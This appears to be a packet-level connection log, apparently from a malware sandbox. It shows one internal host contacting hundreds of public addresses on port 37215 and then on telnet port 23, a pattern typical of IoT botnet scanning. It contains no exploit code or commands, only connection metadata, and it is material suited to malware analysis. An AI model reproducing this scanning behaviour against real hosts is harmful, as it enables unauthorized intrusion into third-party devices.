Dec 3, 2024 22:01:59.018984079 CET	40832	37215	192.168.2.14	197.153.172.193
Dec 3, 2024 22:01:59.018991947 CET	40832	37215	192.168.2.14	41.147.4.176
Dec 3, 2024 22:01:59.019018888 CET	37215	40832	41.66.78.132	192.168.2.14
Dec 3, 2024 22:01:59.019028902 CET	40832	37215	192.168.2.14	41.207.6.86
Dec 3, 2024 22:01:59.019057989 CET	40832	37215	192.168.2.14	41.66.78.132
Dec 3, 2024 22:01:59.019067049 CET	37215	40832	41.75.172.126	192.168.2.14
Dec 3, 2024 22:01:59.019072056 CET	37215	40832	197.238.10.207	192.168.2.14
Dec 3, 2024 22:01:59.019146919 CET	37215	40832	41.92.83.37	192.168.2.14
Dec 3, 2024 22:01:59.019153118 CET	37215	40832	156.93.240.87	192.168.2.14
Dec 3, 2024 22:01:59.019162893 CET	37215	40832	41.125.77.152	192.168.2.14
Dec 3, 2024 22:01:59.019165039 CET	40832	37215	192.168.2.14	41.75.172.126
Dec 3, 2024 22:01:59.019165039 CET	40832	37215	192.168.2.14	197.238.10.207
Dec 3, 2024 22:01:59.019167900 CET	37215	40832	156.207.63.223	192.168.2.14
Dec 3, 2024 22:01:59.019177914 CET	37215	40832	156.110.186.114	192.168.2.14
Dec 3, 2024 22:01:59.019182920 CET	37215	40832	41.230.9.241	192.168.2.14
Dec 3, 2024 22:01:59.019191027 CET	40832	37215	192.168.2.14	41.92.83.37
Dec 3, 2024 22:01:59.019191980 CET	37215	40832	156.165.104.33	192.168.2.14
Dec 3, 2024 22:01:59.019192934 CET	40832	37215	192.168.2.14	156.93.240.87
Dec 3, 2024 22:01:59.019192934 CET	40832	37215	192.168.2.14	41.125.77.152
Dec 3, 2024 22:01:59.019208908 CET	40832	37215	192.168.2.14	156.207.63.223
Dec 3, 2024 22:01:59.019208908 CET	40832	37215	192.168.2.14	156.110.186.114
Dec 3, 2024 22:01:59.019211054 CET	40832	37215	192.168.2.14	41.230.9.241
Dec 3, 2024 22:01:59.019217968 CET	40832	37215	192.168.2.14	156.165.104.33
Dec 3, 2024 22:01:59.019268990 CET	37215	40832	197.154.15.69	192.168.2.14
Dec 3, 2024 22:01:59.019273996 CET	37215	40832	197.165.87.86	192.168.2.14
Dec 3, 2024 22:01:59.019282103 CET	37215	40832	156.6.83.113	192.168.2.14
Dec 3, 2024 22:01:59.019285917 CET	37215	40832	41.61.75.211	192.168.2.14
Dec 3, 2024 22:01:59.019290924 CET	37215	40832	197.89.244.253	192.168.2.14
Dec 3, 2024 22:01:59.019294977 CET	37215	40832	41.83.51.148	192.168.2.14
Dec 3, 2024 22:01:59.019299030 CET	37215	40832	156.210.112.183	192.168.2.14
Dec 3, 2024 22:01:59.019323111 CET	40832	37215	192.168.2.14	197.165.87.86
Dec 3, 2024 22:01:59.019325018 CET	40832	37215	192.168.2.14	197.154.15.69
Dec 3, 2024 22:01:59.019330025 CET	40832	37215	192.168.2.14	156.6.83.113
Dec 3, 2024 22:01:59.019335985 CET	40832	37215	192.168.2.14	41.61.75.211
Dec 3, 2024 22:01:59.019342899 CET	40832	37215	192.168.2.14	197.89.244.253
Dec 3, 2024 22:01:59.019347906 CET	40832	37215	192.168.2.14	41.83.51.148
Dec 3, 2024 22:01:59.019347906 CET	40832	37215	192.168.2.14	156.210.112.183
Dec 3, 2024 22:01:59.019880056 CET	37215	40832	41.250.65.142	192.168.2.14
Dec 3, 2024 22:01:59.019916058 CET	37215	40832	41.78.218.136	192.168.2.14
Dec 3, 2024 22:01:59.019922018 CET	37215	40832	197.208.243.144	192.168.2.14
Dec 3, 2024 22:01:59.019922018 CET	40832	37215	192.168.2.14	41.250.65.142
Dec 3, 2024 22:01:59.019954920 CET	37215	40832	41.193.160.252	192.168.2.14
Dec 3, 2024 22:01:59.019962072 CET	40832	37215	192.168.2.14	197.208.243.144
Dec 3, 2024 22:01:59.019979954 CET	37215	40832	156.239.168.65	192.168.2.14
Dec 3, 2024 22:01:59.019994020 CET	40832	37215	192.168.2.14	41.78.218.136
Dec 3, 2024 22:01:59.020000935 CET	37215	40832	41.15.192.92	192.168.2.14
Dec 3, 2024 22:01:59.020005941 CET	37215	40832	41.215.60.238	192.168.2.14
Dec 3, 2024 22:01:59.020025015 CET	40832	37215	192.168.2.14	156.239.168.65
Dec 3, 2024 22:01:59.020025969 CET	40832	37215	192.168.2.14	41.193.160.252
Dec 3, 2024 22:01:59.020035982 CET	37215	40832	197.201.177.129	192.168.2.14
Dec 3, 2024 22:01:59.020051003 CET	40832	37215	192.168.2.14	41.215.60.238
Dec 3, 2024 22:01:59.020051956 CET	40832	37215	192.168.2.14	41.15.192.92
Dec 3, 2024 22:01:59.020055056 CET	37215	40832	41.57.191.172	192.168.2.14
Dec 3, 2024 22:01:59.020073891 CET	40832	37215	192.168.2.14	197.201.177.129
Dec 3, 2024 22:01:59.020126104 CET	37215	40832	197.167.116.43	192.168.2.14
Dec 3, 2024 22:01:59.020139933 CET	37215	40832	41.190.218.50	192.168.2.14
Dec 3, 2024 22:01:59.020148039 CET	37215	40832	197.144.179.188	192.168.2.14
Dec 3, 2024 22:01:59.020153046 CET	37215	40832	197.239.128.214	192.168.2.14
Dec 3, 2024 22:01:59.020169973 CET	37215	40832	156.234.114.249	192.168.2.14
Dec 3, 2024 22:01:59.020170927 CET	40832	37215	192.168.2.14	41.57.191.172
Dec 3, 2024 22:01:59.020174026 CET	37215	40832	197.255.170.211	192.168.2.14
Dec 3, 2024 22:01:59.020175934 CET	40832	37215	192.168.2.14	197.167.116.43
Dec 3, 2024 22:01:59.020179987 CET	37215	40832	197.91.228.72	192.168.2.14
Dec 3, 2024 22:01:59.020194054 CET	40832	37215	192.168.2.14	41.190.218.50
Dec 3, 2024 22:01:59.020194054 CET	40832	37215	192.168.2.14	197.144.179.188
Dec 3, 2024 22:01:59.020194054 CET	40832	37215	192.168.2.14	197.239.128.214
Dec 3, 2024 22:01:59.020205021 CET	40832	37215	192.168.2.14	197.255.170.211
Dec 3, 2024 22:01:59.020207882 CET	40832	37215	192.168.2.14	156.234.114.249
Dec 3, 2024 22:01:59.020219088 CET	37215	40832	197.9.184.73	192.168.2.14
Dec 3, 2024 22:01:59.020224094 CET	37215	40832	41.236.63.180	192.168.2.14
Dec 3, 2024 22:01:59.020226002 CET	40832	37215	192.168.2.14	197.91.228.72
Dec 3, 2024 22:01:59.020232916 CET	37215	40832	41.220.116.99	192.168.2.14
Dec 3, 2024 22:01:59.020237923 CET	37215	40832	41.193.38.157	192.168.2.14
Dec 3, 2024 22:01:59.020241976 CET	37215	40832	156.176.213.101	192.168.2.14
Dec 3, 2024 22:01:59.020266056 CET	40832	37215	192.168.2.14	197.9.184.73
Dec 3, 2024 22:01:59.020267010 CET	40832	37215	192.168.2.14	41.193.38.157
Dec 3, 2024 22:01:59.020272017 CET	40832	37215	192.168.2.14	156.176.213.101
Dec 3, 2024 22:01:59.020276070 CET	40832	37215	192.168.2.14	41.220.116.99
Dec 3, 2024 22:01:59.020282984 CET	40832	37215	192.168.2.14	41.236.63.180
Dec 3, 2024 22:01:59.020339966 CET	37215	40832	197.31.127.113	192.168.2.14
Dec 3, 2024 22:01:59.020345926 CET	37215	40832	197.175.166.227	192.168.2.14
Dec 3, 2024 22:01:59.020355940 CET	37215	40832	41.75.10.101	192.168.2.14
Dec 3, 2024 22:01:59.020360947 CET	37215	40832	41.82.171.58	192.168.2.14
Dec 3, 2024 22:01:59.020370007 CET	37215	40832	156.200.132.221	192.168.2.14
Dec 3, 2024 22:01:59.020375013 CET	37215	40832	197.106.236.35	192.168.2.14
Dec 3, 2024 22:01:59.020384073 CET	37215	40832	41.78.190.152	192.168.2.14
Dec 3, 2024 22:01:59.020386934 CET	40832	37215	192.168.2.14	197.31.127.113
Dec 3, 2024 22:01:59.020391941 CET	40832	37215	192.168.2.14	197.175.166.227
Dec 3, 2024 22:01:59.020399094 CET	40832	37215	192.168.2.14	41.75.10.101
Dec 3, 2024 22:01:59.020399094 CET	40832	37215	192.168.2.14	197.106.236.35
Dec 3, 2024 22:01:59.020409107 CET	40832	37215	192.168.2.14	41.82.171.58
Dec 3, 2024 22:01:59.020410061 CET	40832	37215	192.168.2.14	156.200.132.221
Dec 3, 2024 22:01:59.020417929 CET	40832	37215	192.168.2.14	41.78.190.152
Dec 3, 2024 22:01:59.020875931 CET	37215	40832	41.181.161.58	192.168.2.14
Dec 3, 2024 22:01:59.020925999 CET	40832	37215	192.168.2.14	41.181.161.58
Dec 3, 2024 22:01:59.020936012 CET	37215	40832	41.172.150.248	192.168.2.14
Dec 3, 2024 22:01:59.020940065 CET	37215	40832	197.81.224.155	192.168.2.14
Dec 3, 2024 22:01:59.020965099 CET	37215	40832	197.202.85.49	192.168.2.14
Dec 3, 2024 22:01:59.020970106 CET	37215	40832	41.126.243.53	192.168.2.14
Dec 3, 2024 22:01:59.020979881 CET	40832	37215	192.168.2.14	41.172.150.248
Dec 3, 2024 22:01:59.020982981 CET	40832	37215	192.168.2.14	197.81.224.155
Dec 3, 2024 22:01:59.021006107 CET	40832	37215	192.168.2.14	197.202.85.49
Dec 3, 2024 22:01:59.021013021 CET	40832	37215	192.168.2.14	41.126.243.53
Dec 3, 2024 22:01:59.021043062 CET	37215	40832	41.64.71.7	192.168.2.14
Dec 3, 2024 22:01:59.021049023 CET	37215	40832	156.176.215.73	192.168.2.14
Dec 3, 2024 22:01:59.021056890 CET	37215	40832	197.87.234.10	192.168.2.14
Dec 3, 2024 22:01:59.021060944 CET	37215	40832	156.113.112.79	192.168.2.14
Dec 3, 2024 22:01:59.021073103 CET	37215	40832	156.148.44.13	192.168.2.14
Dec 3, 2024 22:01:59.021079063 CET	37215	40832	41.223.143.226	192.168.2.14
Dec 3, 2024 22:01:59.021090031 CET	40832	37215	192.168.2.14	156.176.215.73
Dec 3, 2024 22:01:59.021090984 CET	40832	37215	192.168.2.14	41.64.71.7
Dec 3, 2024 22:01:59.021096945 CET	40832	37215	192.168.2.14	197.87.234.10
Dec 3, 2024 22:01:59.021100998 CET	40832	37215	192.168.2.14	156.113.112.79
Dec 3, 2024 22:01:59.021111012 CET	37215	40832	197.182.128.194	192.168.2.14
Dec 3, 2024 22:01:59.021111012 CET	40832	37215	192.168.2.14	156.148.44.13
Dec 3, 2024 22:01:59.021117926 CET	40832	37215	192.168.2.14	41.223.143.226
Dec 3, 2024 22:01:59.021117926 CET	37215	40832	41.88.10.8	192.168.2.14
Dec 3, 2024 22:01:59.021136999 CET	37215	40832	156.226.229.251	192.168.2.14
Dec 3, 2024 22:01:59.021147966 CET	37215	40832	156.7.206.93	192.168.2.14
Dec 3, 2024 22:01:59.021157980 CET	37215	40832	41.113.234.175	192.168.2.14
Dec 3, 2024 22:01:59.021161079 CET	40832	37215	192.168.2.14	197.182.128.194
Dec 3, 2024 22:01:59.021161079 CET	40832	37215	192.168.2.14	41.88.10.8
Dec 3, 2024 22:01:59.021173954 CET	37215	40832	156.127.142.178	192.168.2.14
Dec 3, 2024 22:01:59.021178961 CET	37215	40832	197.196.219.59	192.168.2.14
Dec 3, 2024 22:01:59.021183014 CET	37215	40832	156.214.133.70	192.168.2.14
Dec 3, 2024 22:01:59.021183968 CET	40832	37215	192.168.2.14	156.7.206.93
Dec 3, 2024 22:01:59.021183968 CET	40832	37215	192.168.2.14	156.226.229.251
Dec 3, 2024 22:01:59.021186113 CET	40832	37215	192.168.2.14	41.113.234.175
Dec 3, 2024 22:01:59.021209002 CET	40832	37215	192.168.2.14	156.127.142.178
Dec 3, 2024 22:01:59.021209002 CET	40832	37215	192.168.2.14	197.196.219.59
Dec 3, 2024 22:01:59.021213055 CET	40832	37215	192.168.2.14	156.214.133.70
Dec 3, 2024 22:01:59.021331072 CET	37215	40832	197.246.176.86	192.168.2.14
Dec 3, 2024 22:01:59.021337032 CET	37215	40832	197.133.179.95	192.168.2.14
Dec 3, 2024 22:01:59.021346092 CET	37215	40832	41.16.154.115	192.168.2.14
Dec 3, 2024 22:01:59.021349907 CET	37215	40832	41.254.174.57	192.168.2.14
Dec 3, 2024 22:01:59.021358967 CET	37215	40832	41.190.51.145	192.168.2.14
Dec 3, 2024 22:01:59.021363020 CET	37215	40832	197.124.172.184	192.168.2.14
Dec 3, 2024 22:01:59.021372080 CET	37215	40832	197.218.175.110	192.168.2.14
Dec 3, 2024 22:01:59.021375895 CET	37215	40832	197.130.118.32	192.168.2.14
Dec 3, 2024 22:01:59.021379948 CET	37215	40832	156.235.182.56	192.168.2.14
Dec 3, 2024 22:01:59.021380901 CET	40832	37215	192.168.2.14	197.133.179.95
Dec 3, 2024 22:01:59.021383047 CET	40832	37215	192.168.2.14	197.246.176.86
Dec 3, 2024 22:01:59.021384954 CET	40832	37215	192.168.2.14	41.254.174.57
Dec 3, 2024 22:01:59.021387100 CET	40832	37215	192.168.2.14	41.16.154.115
Dec 3, 2024 22:01:59.021393061 CET	40832	37215	192.168.2.14	41.190.51.145
Dec 3, 2024 22:01:59.021398067 CET	40832	37215	192.168.2.14	197.124.172.184
Dec 3, 2024 22:01:59.021405935 CET	40832	37215	192.168.2.14	197.218.175.110
Dec 3, 2024 22:01:59.021414995 CET	40832	37215	192.168.2.14	197.130.118.32
Dec 3, 2024 22:01:59.021416903 CET	40832	37215	192.168.2.14	156.235.182.56
Dec 3, 2024 22:01:59.021852970 CET	37215	40832	156.208.188.176	192.168.2.14
Dec 3, 2024 22:01:59.021871090 CET	37215	40832	156.177.191.7	192.168.2.14
Dec 3, 2024 22:01:59.021898031 CET	37215	40832	41.134.205.232	192.168.2.14
Dec 3, 2024 22:01:59.021903992 CET	37215	40832	156.80.209.203	192.168.2.14
Dec 3, 2024 22:01:59.021905899 CET	40832	37215	192.168.2.14	156.177.191.7
Dec 3, 2024 22:01:59.021912098 CET	40832	37215	192.168.2.14	156.208.188.176
Dec 3, 2024 22:01:59.021939039 CET	40832	37215	192.168.2.14	41.134.205.232
Dec 3, 2024 22:01:59.021941900 CET	40832	37215	192.168.2.14	156.80.209.203
Dec 3, 2024 22:01:59.021949053 CET	37215	40832	156.82.64.76	192.168.2.14
Dec 3, 2024 22:01:59.021961927 CET	37215	40832	41.155.60.247	192.168.2.14
Dec 3, 2024 22:01:59.021971941 CET	37215	40832	156.104.106.19	192.168.2.14
Dec 3, 2024 22:01:59.021984100 CET	37215	40832	41.167.88.214	192.168.2.14
Dec 3, 2024 22:01:59.021987915 CET	37215	40832	41.230.20.88	192.168.2.14
Dec 3, 2024 22:01:59.022002935 CET	40832	37215	192.168.2.14	156.82.64.76
Dec 3, 2024 22:01:59.022002935 CET	40832	37215	192.168.2.14	41.155.60.247
Dec 3, 2024 22:01:59.022008896 CET	40832	37215	192.168.2.14	156.104.106.19
Dec 3, 2024 22:01:59.022018909 CET	40832	37215	192.168.2.14	41.167.88.214
Dec 3, 2024 22:01:59.022026062 CET	40832	37215	192.168.2.14	41.230.20.88
Dec 3, 2024 22:01:59.022027969 CET	37215	40832	197.141.173.152	192.168.2.14
Dec 3, 2024 22:01:59.022032976 CET	37215	40832	156.173.179.65	192.168.2.14
Dec 3, 2024 22:01:59.022067070 CET	40832	37215	192.168.2.14	197.141.173.152
Dec 3, 2024 22:01:59.022070885 CET	40832	37215	192.168.2.14	156.173.179.65
Dec 3, 2024 22:01:59.022073030 CET	37215	40832	41.51.41.80	192.168.2.14
Dec 3, 2024 22:01:59.022078037 CET	37215	40832	41.187.178.82	192.168.2.14
Dec 3, 2024 22:01:59.022082090 CET	37215	40832	197.249.146.171	192.168.2.14
Dec 3, 2024 22:01:59.022103071 CET	37215	40832	156.120.163.155	192.168.2.14
Dec 3, 2024 22:01:59.022106886 CET	37215	40832	41.181.134.2	192.168.2.14
Dec 3, 2024 22:01:59.022111893 CET	40832	37215	192.168.2.14	41.187.178.82
Dec 3, 2024 22:01:59.022111893 CET	40832	37215	192.168.2.14	41.51.41.80
Dec 3, 2024 22:01:59.022138119 CET	40832	37215	192.168.2.14	197.249.146.171
Dec 3, 2024 22:01:59.022141933 CET	40832	37215	192.168.2.14	41.181.134.2
Dec 3, 2024 22:01:59.022145033 CET	40832	37215	192.168.2.14	156.120.163.155
Dec 3, 2024 22:01:59.022152901 CET	37215	40832	41.87.165.52	192.168.2.14
Dec 3, 2024 22:01:59.022159100 CET	37215	40832	41.150.186.152	192.168.2.14
Dec 3, 2024 22:01:59.022198915 CET	40832	37215	192.168.2.14	41.150.186.152
Dec 3, 2024 22:01:59.022198915 CET	40832	37215	192.168.2.14	41.87.165.52
Dec 3, 2024 22:01:59.022228003 CET	37215	40832	41.218.163.47	192.168.2.14
Dec 3, 2024 22:01:59.022233963 CET	37215	40832	41.206.124.249	192.168.2.14
Dec 3, 2024 22:01:59.022238016 CET	37215	40832	197.213.30.62	192.168.2.14
Dec 3, 2024 22:01:59.022267103 CET	40832	37215	192.168.2.14	41.206.124.249
Dec 3, 2024 22:01:59.022269011 CET	40832	37215	192.168.2.14	41.218.163.47
Dec 3, 2024 22:01:59.022280931 CET	40832	37215	192.168.2.14	197.213.30.62
Dec 3, 2024 22:01:59.022381067 CET	37215	40832	156.45.61.34	192.168.2.14
Dec 3, 2024 22:01:59.022386074 CET	37215	40832	156.111.116.157	192.168.2.14
Dec 3, 2024 22:01:59.022389889 CET	37215	40832	197.208.252.203	192.168.2.14
Dec 3, 2024 22:01:59.022393942 CET	37215	40832	156.130.161.0	192.168.2.14
Dec 3, 2024 22:01:59.022397995 CET	37215	40832	156.227.155.56	192.168.2.14
Dec 3, 2024 22:01:59.022402048 CET	37215	40832	197.63.244.178	192.168.2.14
Dec 3, 2024 22:01:59.022411108 CET	37215	40832	41.151.126.163	192.168.2.14
Dec 3, 2024 22:01:59.022422075 CET	40832	37215	192.168.2.14	197.208.252.203
Dec 3, 2024 22:01:59.022428036 CET	40832	37215	192.168.2.14	156.111.116.157
Dec 3, 2024 22:01:59.022432089 CET	40832	37215	192.168.2.14	156.45.61.34
Dec 3, 2024 22:01:59.022442102 CET	40832	37215	192.168.2.14	41.151.126.163
Dec 3, 2024 22:01:59.022443056 CET	40832	37215	192.168.2.14	156.130.161.0
Dec 3, 2024 22:01:59.022445917 CET	40832	37215	192.168.2.14	156.227.155.56
Dec 3, 2024 22:01:59.022449017 CET	40832	37215	192.168.2.14	197.63.244.178
Dec 3, 2024 22:01:59.022917986 CET	37215	40832	41.226.54.3	192.168.2.14
Dec 3, 2024 22:01:59.022968054 CET	37215	40832	197.62.82.246	192.168.2.14
Dec 3, 2024 22:01:59.022970915 CET	40832	37215	192.168.2.14	41.226.54.3
Dec 3, 2024 22:01:59.022985935 CET	37215	40832	41.77.114.217	192.168.2.14
Dec 3, 2024 22:01:59.022994041 CET	37215	40832	156.175.163.46	192.168.2.14
Dec 3, 2024 22:01:59.023026943 CET	37215	40832	41.26.37.59	192.168.2.14
Dec 3, 2024 22:01:59.023030996 CET	40832	37215	192.168.2.14	197.62.82.246
Dec 3, 2024 22:01:59.023040056 CET	40832	37215	192.168.2.14	41.77.114.217
Dec 3, 2024 22:01:59.023040056 CET	40832	37215	192.168.2.14	156.175.163.46
Dec 3, 2024 22:01:59.023057938 CET	37215	40832	197.157.9.191	192.168.2.14
Dec 3, 2024 22:01:59.023067951 CET	40832	37215	192.168.2.14	41.26.37.59
Dec 3, 2024 22:01:59.023086071 CET	37215	40832	156.16.8.61	192.168.2.14
Dec 3, 2024 22:01:59.023092985 CET	40832	37215	192.168.2.14	197.157.9.191
Dec 3, 2024 22:01:59.023096085 CET	37215	40832	41.145.158.208	192.168.2.14
Dec 3, 2024 22:01:59.023119926 CET	37215	40832	41.84.11.149	192.168.2.14
Dec 3, 2024 22:01:59.023138046 CET	40832	37215	192.168.2.14	156.16.8.61
Dec 3, 2024 22:01:59.023138046 CET	40832	37215	192.168.2.14	41.145.158.208
Dec 3, 2024 22:01:59.023144007 CET	37215	40832	197.202.46.147	192.168.2.14
Dec 3, 2024 22:01:59.023158073 CET	40832	37215	192.168.2.14	41.84.11.149
Dec 3, 2024 22:01:59.023173094 CET	37215	40832	197.18.60.204	192.168.2.14
Dec 3, 2024 22:01:59.023179054 CET	40832	37215	192.168.2.14	197.202.46.147
Dec 3, 2024 22:01:59.023222923 CET	40832	37215	192.168.2.14	197.18.60.204
Dec 3, 2024 22:01:59.023227930 CET	37215	40832	156.223.30.227	192.168.2.14
Dec 3, 2024 22:01:59.023233891 CET	37215	40832	197.137.120.219	192.168.2.14
Dec 3, 2024 22:01:59.023241997 CET	37215	40832	156.49.25.56	192.168.2.14
Dec 3, 2024 22:01:59.023247957 CET	37215	40832	197.106.9.40	192.168.2.14
Dec 3, 2024 22:01:59.023283005 CET	37215	40832	41.109.89.139	192.168.2.14
Dec 3, 2024 22:01:59.023283958 CET	40832	37215	192.168.2.14	156.49.25.56
Dec 3, 2024 22:01:59.023286104 CET	40832	37215	192.168.2.14	197.106.9.40
Dec 3, 2024 22:01:59.023293018 CET	37215	40832	197.6.162.51	192.168.2.14
Dec 3, 2024 22:01:59.023304939 CET	37215	40832	156.98.103.49	192.168.2.14
Dec 3, 2024 22:01:59.023309946 CET	40832	37215	192.168.2.14	156.223.30.227
Dec 3, 2024 22:01:59.023309946 CET	40832	37215	192.168.2.14	197.137.120.219
Dec 3, 2024 22:01:59.023310900 CET	37215	40832	41.228.34.175	192.168.2.14
Dec 3, 2024 22:01:59.023338079 CET	40832	37215	192.168.2.14	41.109.89.139
Dec 3, 2024 22:01:59.023338079 CET	40832	37215	192.168.2.14	197.6.162.51
Dec 3, 2024 22:01:59.023344994 CET	40832	37215	192.168.2.14	156.98.103.49
Dec 3, 2024 22:01:59.023351908 CET	40832	37215	192.168.2.14	41.228.34.175
Dec 3, 2024 22:01:59.023380995 CET	37215	40832	197.140.99.97	192.168.2.14
Dec 3, 2024 22:01:59.023386002 CET	37215	40832	156.60.34.33	192.168.2.14
Dec 3, 2024 22:01:59.023395061 CET	37215	40832	156.195.121.189	192.168.2.14
Dec 3, 2024 22:01:59.023399115 CET	37215	40832	41.237.90.10	192.168.2.14
Dec 3, 2024 22:01:59.023402929 CET	37215	40832	41.183.86.247	192.168.2.14
Dec 3, 2024 22:01:59.023406982 CET	37215	40832	156.120.238.128	192.168.2.14
Dec 3, 2024 22:01:59.023425102 CET	40832	37215	192.168.2.14	156.60.34.33
Dec 3, 2024 22:01:59.023438931 CET	40832	37215	192.168.2.14	156.195.121.189
Dec 3, 2024 22:01:59.023438931 CET	40832	37215	192.168.2.14	41.237.90.10
Dec 3, 2024 22:01:59.023448944 CET	40832	37215	192.168.2.14	197.140.99.97
Dec 3, 2024 22:01:59.023449898 CET	40832	37215	192.168.2.14	41.183.86.247
Dec 3, 2024 22:01:59.023449898 CET	40832	37215	192.168.2.14	156.120.238.128
Dec 3, 2024 22:01:59.023545027 CET	37215	40832	41.152.49.12	192.168.2.14
Dec 3, 2024 22:01:59.023550034 CET	37215	40832	197.18.8.114	192.168.2.14
Dec 3, 2024 22:01:59.023559093 CET	37215	40832	156.111.43.73	192.168.2.14
Dec 3, 2024 22:01:59.023585081 CET	40832	37215	192.168.2.14	197.18.8.114
Dec 3, 2024 22:01:59.023591042 CET	40832	37215	192.168.2.14	41.152.49.12
Dec 3, 2024 22:01:59.023617029 CET	40832	37215	192.168.2.14	156.111.43.73
Dec 3, 2024 22:01:59.024260044 CET	37215	40832	41.144.35.76	192.168.2.14
Dec 3, 2024 22:01:59.024307013 CET	40832	37215	192.168.2.14	41.144.35.76
Dec 3, 2024 22:01:59.024339914 CET	37215	40832	156.164.124.14	192.168.2.14
Dec 3, 2024 22:01:59.024350882 CET	37215	40832	41.170.3.20	192.168.2.14
Dec 3, 2024 22:01:59.024363041 CET	37215	40832	156.42.154.197	192.168.2.14
Dec 3, 2024 22:01:59.024378061 CET	37215	40832	156.55.176.148	192.168.2.14
Dec 3, 2024 22:01:59.024382114 CET	37215	40832	41.108.124.108	192.168.2.14
Dec 3, 2024 22:01:59.024391890 CET	40832	37215	192.168.2.14	156.164.124.14
Dec 3, 2024 22:01:59.024394035 CET	40832	37215	192.168.2.14	41.170.3.20
Dec 3, 2024 22:01:59.024405003 CET	40832	37215	192.168.2.14	156.42.154.197
Dec 3, 2024 22:01:59.024415970 CET	40832	37215	192.168.2.14	156.55.176.148
Dec 3, 2024 22:01:59.024415970 CET	40832	37215	192.168.2.14	41.108.124.108
Dec 3, 2024 22:01:59.024420977 CET	37215	40832	156.239.37.68	192.168.2.14
Dec 3, 2024 22:01:59.024425983 CET	37215	40832	197.127.132.52	192.168.2.14
Dec 3, 2024 22:01:59.024451971 CET	37215	40832	41.144.168.154	192.168.2.14
Dec 3, 2024 22:01:59.024456978 CET	37215	40832	41.248.5.2	192.168.2.14
Dec 3, 2024 22:01:59.024465084 CET	40832	37215	192.168.2.14	197.127.132.52
Dec 3, 2024 22:01:59.024466038 CET	37215	40832	41.127.233.81	192.168.2.14
Dec 3, 2024 22:01:59.024472952 CET	37215	40832	156.111.116.205	192.168.2.14
Dec 3, 2024 22:01:59.024494886 CET	40832	37215	192.168.2.14	156.239.37.68
Dec 3, 2024 22:01:59.024494886 CET	40832	37215	192.168.2.14	41.144.168.154
Dec 3, 2024 22:01:59.024494886 CET	40832	37215	192.168.2.14	41.248.5.2
Dec 3, 2024 22:01:59.024506092 CET	40832	37215	192.168.2.14	41.127.233.81
Dec 3, 2024 22:01:59.024519920 CET	40832	37215	192.168.2.14	156.111.116.205
Dec 3, 2024 22:01:59.024532080 CET	37215	40832	41.169.13.41	192.168.2.14
Dec 3, 2024 22:01:59.024538040 CET	37215	40832	156.118.251.58	192.168.2.14
Dec 3, 2024 22:01:59.024554014 CET	37215	40832	197.174.199.130	192.168.2.14
Dec 3, 2024 22:01:59.024559021 CET	37215	40832	197.14.36.48	192.168.2.14
Dec 3, 2024 22:01:59.024574995 CET	37215	40832	197.166.119.28	192.168.2.14
Dec 3, 2024 22:01:59.024579048 CET	40832	37215	192.168.2.14	41.169.13.41
Dec 3, 2024 22:01:59.024583101 CET	37215	40832	41.221.240.44	192.168.2.14
Dec 3, 2024 22:01:59.024589062 CET	40832	37215	192.168.2.14	197.14.36.48
Dec 3, 2024 22:01:59.024593115 CET	37215	40832	156.143.45.33	192.168.2.14
Dec 3, 2024 22:01:59.024595976 CET	40832	37215	192.168.2.14	156.118.251.58
Dec 3, 2024 22:01:59.024595976 CET	40832	37215	192.168.2.14	197.174.199.130
Dec 3, 2024 22:01:59.024600029 CET	37215	40832	41.229.38.131	192.168.2.14
Dec 3, 2024 22:01:59.024604082 CET	37215	40832	197.114.77.149	192.168.2.14
Dec 3, 2024 22:01:59.024621964 CET	40832	37215	192.168.2.14	197.166.119.28
Dec 3, 2024 22:01:59.024624109 CET	40832	37215	192.168.2.14	41.221.240.44
Dec 3, 2024 22:01:59.024640083 CET	40832	37215	192.168.2.14	156.143.45.33
Dec 3, 2024 22:01:59.024641991 CET	40832	37215	192.168.2.14	41.229.38.131
Dec 3, 2024 22:01:59.024656057 CET	40832	37215	192.168.2.14	197.114.77.149
Dec 3, 2024 22:01:59.024733067 CET	37215	40832	41.95.175.2	192.168.2.14
Dec 3, 2024 22:01:59.024738073 CET	37215	40832	197.241.102.161	192.168.2.14
Dec 3, 2024 22:01:59.024746895 CET	37215	40832	156.195.161.111	192.168.2.14
Dec 3, 2024 22:01:59.024751902 CET	37215	40832	156.41.178.17	192.168.2.14
Dec 3, 2024 22:01:59.024760008 CET	37215	40832	41.233.168.202	192.168.2.14
Dec 3, 2024 22:01:59.024764061 CET	37215	40832	156.66.222.117	192.168.2.14
Dec 3, 2024 22:01:59.024768114 CET	37215	40832	197.15.72.59	192.168.2.14
Dec 3, 2024 22:01:59.024782896 CET	40832	37215	192.168.2.14	197.241.102.161
Dec 3, 2024 22:01:59.024785042 CET	40832	37215	192.168.2.14	156.195.161.111
Dec 3, 2024 22:01:59.024790049 CET	40832	37215	192.168.2.14	41.233.168.202
Dec 3, 2024 22:01:59.024806023 CET	40832	37215	192.168.2.14	156.66.222.117
Dec 3, 2024 22:01:59.024807930 CET	40832	37215	192.168.2.14	41.95.175.2
Dec 3, 2024 22:01:59.024821043 CET	40832	37215	192.168.2.14	156.41.178.17
Dec 3, 2024 22:01:59.024821043 CET	40832	37215	192.168.2.14	197.15.72.59
Dec 3, 2024 22:01:59.024841070 CET	37215	40832	197.222.168.130	192.168.2.14
Dec 3, 2024 22:01:59.024847031 CET	37215	40832	41.85.8.141	192.168.2.14
Dec 3, 2024 22:01:59.024893045 CET	40832	37215	192.168.2.14	41.85.8.141
Dec 3, 2024 22:01:59.024894953 CET	40832	37215	192.168.2.14	197.222.168.130
Dec 3, 2024 22:01:59.862458944 CET	39808	23	192.168.2.14	13.124.229.68
Dec 3, 2024 22:01:59.862458944 CET	39808	23	192.168.2.14	115.166.244.237
Dec 3, 2024 22:01:59.862462044 CET	39808	23	192.168.2.14	168.119.91.255
Dec 3, 2024 22:01:59.862462997 CET	39808	23	192.168.2.14	5.116.153.208
Dec 3, 2024 22:01:59.862462044 CET	39808	23	192.168.2.14	94.116.239.39
Dec 3, 2024 22:01:59.862462044 CET	39808	23	192.168.2.14	130.124.140.220
Dec 3, 2024 22:01:59.862462997 CET	39808	23	192.168.2.14	157.72.31.213
Dec 3, 2024 22:01:59.862463951 CET	39808	23	192.168.2.14	154.15.98.17
Dec 3, 2024 22:01:59.862464905 CET	39808	23	192.168.2.14	148.136.178.84
Dec 3, 2024 22:01:59.862462997 CET	39808	23	192.168.2.14	119.199.83.42
Dec 3, 2024 22:01:59.862464905 CET	39808	23	192.168.2.14	84.105.253.51
Dec 3, 2024 22:01:59.862472057 CET	39808	23	192.168.2.14	212.36.35.12
